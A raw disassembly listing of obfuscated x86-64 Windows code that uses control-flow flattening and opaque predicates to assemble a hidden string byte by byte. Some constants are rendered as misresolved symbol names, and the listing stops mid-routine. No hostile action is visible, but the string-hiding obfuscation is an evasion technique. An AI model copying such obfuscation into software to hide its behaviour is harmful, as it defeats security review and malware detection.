mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6a20
cmp eax, 0x446e11f
je 0x1800f6a3d
cmp eax, 0x27405158
je 0x1800f6a47
cmp eax, 0x212eec83
jne 0x1800f69b0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f6a4e
cmp edx, 0xa90857cf
jne 0x1800f69e0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f69e0
cmp eax, 0x827c1a92
je 0x1800f6b33
cmp eax, 0xb3be8446
jne 0x1800f69b0
mov eax, ecx
jmp 0x1800f69b0
mov eax, 0x27405158
jmp 0x1800f69b0
mov eax, ebx
jmp 0x1800f69b0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f69b0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1a], al
mov dword [rbp - 8], 0x64
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6af0
cmp eax, 0x446e11f
je 0x1800f6b0d
cmp eax, 0x27405158
je 0x1800f6b17
cmp eax, 0x212eec83
jne 0x1800f6a80
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f6b1e
cmp edx, 0xa90857cf
jne 0x1800f6ab0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6ab0
cmp eax, 0x827c1a92
je 0x1800f6c03
cmp eax, 0xb3be8446
jne 0x1800f6a80
mov eax, ecx
jmp 0x1800f6a80
mov eax, 0x27405158
jmp 0x1800f6a80
mov eax, ebx
jmp 0x1800f6a80
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6a80
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1b], al
mov dword [rbp - 8], 0x45
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6bc0
cmp eax, 0x446e11f
je 0x1800f6bdd
cmp eax, 0x27405158
je 0x1800f6be7
cmp eax, 0x212eec83
jne 0x1800f6b50
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f6bee
cmp edx, 0xa90857cf
jne 0x1800f6b80
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6b80
cmp eax, 0x827c1a92
je 0x1800f6cd3
cmp eax, 0xb3be8446
jne 0x1800f6b50
mov eax, ecx
jmp 0x1800f6b50
mov eax, 0x27405158
jmp 0x1800f6b50
mov eax, ebx
jmp 0x1800f6b50
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6b50
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1b], al
mov dword [rbp - 8], 0x45
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6c90
cmp eax, 0x446e11f
je 0x1800f6cad
cmp eax, 0x27405158
je 0x1800f6cb7
cmp eax, 0x212eec83
jne 0x1800f6c20
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f6cbe
cmp edx, 0xa90857cf
jne 0x1800f6c50
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6c50
cmp eax, 0x827c1a92
je 0x1800f6da3
cmp eax, 0xb3be8446
jne 0x1800f6c20
mov eax, ecx
jmp 0x1800f6c20
mov eax, 0x27405158
jmp 0x1800f6c20
mov eax, ebx
jmp 0x1800f6c20
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6c20
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1c], al
mov dword [rbp - 8], pe_nt_image_headers64
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6d60
cmp eax, 0x446e11f
je 0x1800f6d7d
cmp eax, 0x27405158
je 0x1800f6d87
cmp eax, 0x212eec83
jne 0x1800f6cf0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f6d8e
cmp edx, 0xa90857cf
jne 0x1800f6d20
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6d20
cmp eax, 0x827c1a92
je 0x1800f6e73
cmp eax, 0xb3be8446
jne 0x1800f6cf0
mov eax, ecx
jmp 0x1800f6cf0
mov eax, 0x27405158
jmp 0x1800f6cf0
mov eax, ebx
jmp 0x1800f6cf0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6cf0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1c], al
mov dword [rbp - 8], pe_nt_image_headers64
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6e30
cmp eax, 0x446e11f
je 0x1800f6e4d
cmp eax, 0x27405158
je 0x1800f6e57
cmp eax, 0x212eec83
jne 0x1800f6dc0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f6e5e
cmp edx, 0xa90857cf
jne 0x1800f6df0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6df0
cmp eax, 0x827c1a92
je 0x1800f6f43
cmp eax, 0xb3be8446
jne 0x1800f6dc0
mov eax, ecx
jmp 0x1800f6dc0
mov eax, 0x27405158
jmp 0x1800f6dc0
mov eax, ebx
jmp 0x1800f6dc0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6dc0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1d], al
mov dword [rbp - 8], 0x63
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6f00
cmp eax, 0x446e11f
je 0x1800f6f1d
cmp eax, 0x27405158
je 0x1800f6f27
cmp eax, 0x212eec83
jne 0x1800f6e90
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f6f2e
cmp edx, 0xa90857cf
jne 0x1800f6ec0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6ec0
cmp eax, 0x827c1a92
je 0x1800f7013
cmp eax, 0xb3be8446
jne 0x1800f6e90
mov eax, ecx
jmp 0x1800f6e90
mov eax, 0x27405158
jmp 0x1800f6e90
mov eax, ebx
jmp 0x1800f6e90
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6e90
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1d], al
mov dword [rbp - 8], 0x63
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f6fd0
cmp eax, 0x446e11f
je 0x1800f6fed
cmp eax, 0x27405158
je 0x1800f6ff7
cmp eax, 0x212eec83
jne 0x1800f6f60
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f6ffe
cmp edx, 0xa90857cf
jne 0x1800f6f90
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f6f90
cmp eax, 0x827c1a92
je 0x1800f70e3
cmp eax, 0xb3be8446
jne 0x1800f6f60
mov eax, ecx
jmp 0x1800f6f60
mov eax, 0x27405158
jmp 0x1800f6f60
mov eax, ebx
jmp 0x1800f6f60
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f6f60
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1e], al
mov dword [rbp - 8], 0x65
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f70a0
cmp eax, 0x446e11f
je 0x1800f70bd
cmp eax, 0x27405158
je 0x1800f70c7
cmp eax, 0x212eec83
jne 0x1800f7030
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f70ce
cmp edx, 0xa90857cf
jne 0x1800f7060
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7060
cmp eax, 0x827c1a92
je 0x1800f71b3
cmp eax, 0xb3be8446
jne 0x1800f7030
mov eax, ecx
jmp 0x1800f7030
mov eax, 0x27405158
jmp 0x1800f7030
mov eax, ebx
jmp 0x1800f7030
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7030
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1e], al
mov dword [rbp - 8], 0x65
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f7170
cmp eax, 0x446e11f
je 0x1800f718d
cmp eax, 0x27405158
je 0x1800f7197
cmp eax, 0x212eec83
jne 0x1800f7100
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f719e
cmp edx, 0xa90857cf
jne 0x1800f7130
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7130
cmp eax, 0x827c1a92
je 0x1800f7283
cmp eax, 0xb3be8446
jne 0x1800f7100
mov eax, ecx
jmp 0x1800f7100
mov eax, 0x27405158
jmp 0x1800f7100
mov eax, ebx
jmp 0x1800f7100
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7100
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1f], al
mov dword [rbp - 8], WSAStartup
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f7240
cmp eax, 0x446e11f
je 0x1800f725d
cmp eax, 0x27405158
je 0x1800f7267
cmp eax, 0x212eec83
jne 0x1800f71d0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f726e
cmp edx, 0xa90857cf
jne 0x1800f7200
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7200
cmp eax, 0x827c1a92
je 0x1800f7353
cmp eax, 0xb3be8446
jne 0x1800f71d0
mov eax, ecx
jmp 0x1800f71d0
mov eax, 0x27405158
jmp 0x1800f71d0
mov eax, ebx
jmp 0x1800f71d0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f71d0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x1f], al
mov dword [rbp - 8], WSAStartup
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f7310
cmp eax, 0x446e11f
je 0x1800f732d
cmp eax, 0x27405158
je 0x1800f7337
cmp eax, 0x212eec83
jne 0x1800f72a0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f733e
cmp edx, 0xa90857cf
jne 0x1800f72d0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f72d0
cmp eax, 0x827c1a92
je 0x1800f7423
cmp eax, 0xb3be8446
jne 0x1800f72a0
mov eax, ecx
jmp 0x1800f72a0
mov eax, 0x27405158
jmp 0x1800f72a0
mov eax, ebx
jmp 0x1800f72a0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f72a0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x20], al
mov dword [rbp - 8], 0x74
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f73e0
cmp eax, 0x446e11f
je 0x1800f73fd
cmp eax, 0x27405158
je 0x1800f7407
cmp eax, 0x212eec83
jne 0x1800f7370
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f740e
cmp edx, 0xa90857cf
jne 0x1800f73a0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f73a0
cmp eax, 0x827c1a92
je 0x1800f74f3
cmp eax, 0xb3be8446
jne 0x1800f7370
mov eax, ecx
jmp 0x1800f7370
mov eax, 0x27405158
jmp 0x1800f7370
mov eax, ebx
jmp 0x1800f7370
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7370
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x20], al
mov dword [rbp - 8], 0x74
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f74b0
cmp eax, 0x446e11f
je 0x1800f74cd
cmp eax, 0x27405158
je 0x1800f74d7
cmp eax, 0x212eec83
jne 0x1800f7440
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f74de
cmp edx, 0xa90857cf
jne 0x1800f7470
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7470
cmp eax, 0x827c1a92
je 0x1800f75c3
cmp eax, 0xb3be8446
jne 0x1800f7440
mov eax, ecx
jmp 0x1800f7440
mov eax, 0x27405158
jmp 0x1800f7440
mov eax, ebx
jmp 0x1800f7440
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7440
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x21], al
mov dword [rbp - 8], 0x69
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f7580
cmp eax, 0x446e11f
je 0x1800f759d
cmp eax, 0x27405158
je 0x1800f75a7
cmp eax, 0x212eec83
jne 0x1800f7510
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f75ae
cmp edx, 0xa90857cf
jne 0x1800f7540
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7540
cmp eax, 0x827c1a92
je 0x1800f7693
cmp eax, 0xb3be8446
jne 0x1800f7510
mov eax, ecx
jmp 0x1800f7510
mov eax, 0x27405158
jmp 0x1800f7510
mov eax, ebx
jmp 0x1800f7510
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7510
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x21], al
mov dword [rbp - 8], 0x69
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f7650
cmp eax, 0x446e11f
je 0x1800f766d
cmp eax, 0x27405158
je 0x1800f7677
cmp eax, 0x212eec83
jne 0x1800f75e0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f767e
cmp edx, 0xa90857cf
jne 0x1800f7610
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7610
cmp eax, 0x827c1a92
je 0x1800f7763
cmp eax, 0xb3be8446
jne 0x1800f75e0
mov eax, ecx
jmp 0x1800f75e0
mov eax, 0x27405158
jmp 0x1800f75e0
mov eax, ebx
jmp 0x1800f75e0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f75e0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x22], al
mov dword [rbp - 8], WSAStartup
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f7720
cmp eax, 0x446e11f
je 0x1800f773d
cmp eax, 0x27405158
je 0x1800f7747
cmp eax, 0x212eec83
jne 0x1800f76b0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f774e
cmp edx, 0xa90857cf
jne 0x1800f76e0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f76e0
cmp eax, 0x827c1a92
je 0x1800f7833
cmp eax, 0xb3be8446
jne 0x1800f76b0
mov eax, ecx
jmp 0x1800f76b0
mov eax, 0x27405158
jmp 0x1800f76b0
mov eax, ebx
jmp 0x1800f76b0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f76b0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x22], al
mov dword [rbp - 8], WSAStartup
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f77f0
cmp eax, 0x446e11f
je 0x1800f780d
cmp eax, 0x27405158
je 0x1800f7817
cmp eax, 0x212eec83
jne 0x1800f7780
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f781e
cmp edx, 0xa90857cf
jne 0x1800f77b0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f77b0
cmp eax, 0x827c1a92
je 0x1800f7903
cmp eax, 0xb3be8446
jne 0x1800f7780
mov eax, ecx
jmp 0x1800f7780
mov eax, 0x27405158
jmp 0x1800f7780
mov eax, ebx
jmp 0x1800f7780
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7780
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x23], al
mov dword [rbp - 8], WSAStartup
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f78c0
cmp eax, 0x446e11f
je 0x1800f78dd
cmp eax, 0x27405158
je 0x1800f78e7
cmp eax, 0x212eec83
jne 0x1800f7850
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f78ee
cmp edx, 0xa90857cf
jne 0x1800f7880
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7880
cmp eax, 0x827c1a92
je 0x1800f79d3
cmp eax, 0xb3be8446
jne 0x1800f7850
mov eax, ecx
jmp 0x1800f7850
mov eax, 0x27405158
jmp 0x1800f7850
mov eax, ebx
jmp 0x1800f7850
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7850
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x23], al
mov dword [rbp - 8], WSAStartup
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f7990
cmp eax, 0x446e11f
je 0x1800f79ad
cmp eax, 0x27405158
je 0x1800f79b7
cmp eax, 0x212eec83
jne 0x1800f7920
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f79be
cmp edx, 0xa90857cf
jne 0x1800f7950
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7950
cmp eax, 0x827c1a92
je 0x1800f7aa3
cmp eax, 0xb3be8446
jne 0x1800f7920
mov eax, ecx
jmp 0x1800f7920
mov eax, 0x27405158
jmp 0x1800f7920
mov eax, ebx
jmp 0x1800f7920
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7920
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x24], al
mov dword [rbp - 8], 0x46
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f7a60
cmp eax, 0x446e11f
je 0x1800f7a7d
cmp eax, 0x27405158
je 0x1800f7a87
cmp eax, 0x212eec83
jne 0x1800f79f0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f7a8e
cmp edx, 0xa90857cf
jne 0x1800f7a20
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7a20
cmp eax, 0x827c1a92
je 0x1800f7b73
cmp eax, 0xb3be8446
jne 0x1800f79f0
mov eax, ecx
jmp 0x1800f79f0
mov eax, 0x27405158
jmp 0x1800f79f0
mov eax, ebx
jmp 0x1800f79f0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f79f0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x24], al
mov dword [rbp - 8], 0x46
mov eax, 0x212eec83
nop dword [rax + rax]
cmp eax, 0x446e11e
jle 0x1800f7b30
cmp eax, 0x446e11f
je 0x1800f7b4d
cmp eax, 0x27405158
je 0x1800f7b57
cmp eax, 0x212eec83
jne 0x1800f7ac0
mov dword [rbp - 0x10], 0x2a
mov edx, 0xa90857cf
nop dword [rax]
cmp edx, 0x181e63e9
je 0x1800f7b5e
cmp edx, 0xa90857cf
jne 0x1800f7af0
movsxd rax, dword [rbp - 0x10]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7af0
cmp eax, 0x827c1a92
je 0x1800f7ea8
cmp eax, 0xb3be8446
jne 0x1800f7ac0
mov eax, ecx
jmp 0x1800f7ac0
mov eax, 0x27405158
jmp 0x1800f7ac0
mov eax, ebx
jmp 0x1800f7ac0
mov dword [rbp], eax
mov eax, dword [rbp]
mov edx, dword [rbp - 8]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7ac0
mov byte [rbp], dl
mov al, byte [rbp]
mov byte [rbp + 0x25], al
lea rax, [rbp + 0x26]
mov qword [rbp - 0x10], rax
mov byte [rbp - 0x40], 0x69
mov eax, 0xa5d8e784
nop dword [rax]
cmp eax, 0x35f6e6e2
je 0x1800f81e8
cmp eax, 0xa5d8e784
jne 0x1800f7b90
movsx eax, byte [rbp - 0x40]
mov dword [rbp - 0x28], eax
mov eax, dword [0x180129538]
lea ecx, [rax - 1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x18012953c], 0xa
setl cl
or cl, al
mov ebx, 0x446e11f
cmovne ebx, r8d
mov ecx, 0x446e11f
cmovne ecx, r11d
mov eax, 0x212eec83
nop
cmp eax, 0x446e11e
jle 0x1800f7c50
cmp eax, 0x446e11f
je 0x1800f7c65
cmp eax, 0x27405158
je 0x1800f7c6f
cmp eax, 0x212eec83
jne 0x1800f7be0
mov dword [rbp - 0x18], 0x2a
mov edx, 0xa90857cf
nop dword [rax + rax]
cmp edx, 0x181e63e9
je 0x1800f7c76
cmp edx, 0xa90857cf
jne 0x1800f7c10
movsxd rax, dword [rbp - 0x18]
imul rdx, rax, 0x4ec4ec4f
mov rdi, rdx
shr rdi, 0x3f
sar rdx, 0x22
add edx, edi
lea edi, [rdx + rdx*2]
lea edx, [rdx + rdi*4]
sub eax, edx
mov edx, 0x181e63e9
jmp 0x1800f7c10
cmp eax, 0x827c1a92
je 0x1800f7c8b
cmp eax, 0xb3be8446
jne 0x1800f7be0
mov eax, ecx
jmp 0x1800f7be0
mov eax, 0x27405158
jmp 0x1800f7be0
mov eax, ebx
jmp 0x1800f7be0
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
mov edx, dword [rbp - 0x28]
add dl, al
mov eax, 0xb3be8446
jmp 0x1800f7be0
mov byte [rbp - 8], dl
mov al, byte [rbp - 8]
mov rcx, qword [rbp - 0x10]
mov byte [rcx], al
mov rax, qword [rbp - 0x10]
mov dword [rbp - 0x28], 0x6c
mov ecx, dword [0x180129538]
lea edx, [rcx - 1]
imul edx, ecx
test dl, 1
sete cl
cmp dword [0x18012953c], 0xa
setl dl
or dl, cl
mov edi, 0x446e11f
cmovne edi, r8d
mov edx, 0x446e11f
cmovne edx, r11d
mov ecx, 0x212eec83
nop word [rax + rax]
cmp ecx, 0x446e11e
jle 0x1800f7d50
cmp ecx, 0x446e11f
je 0x1800f7d67
cmp ecx, 0x27405158
je 0x1800f7d71
cmp ecx, 0x212eec83
jne 0x1800f7ce0
mov dword [rbp - 0x18], 0x2a
mov ebx, 0xa90857cf
nop dword [rax]
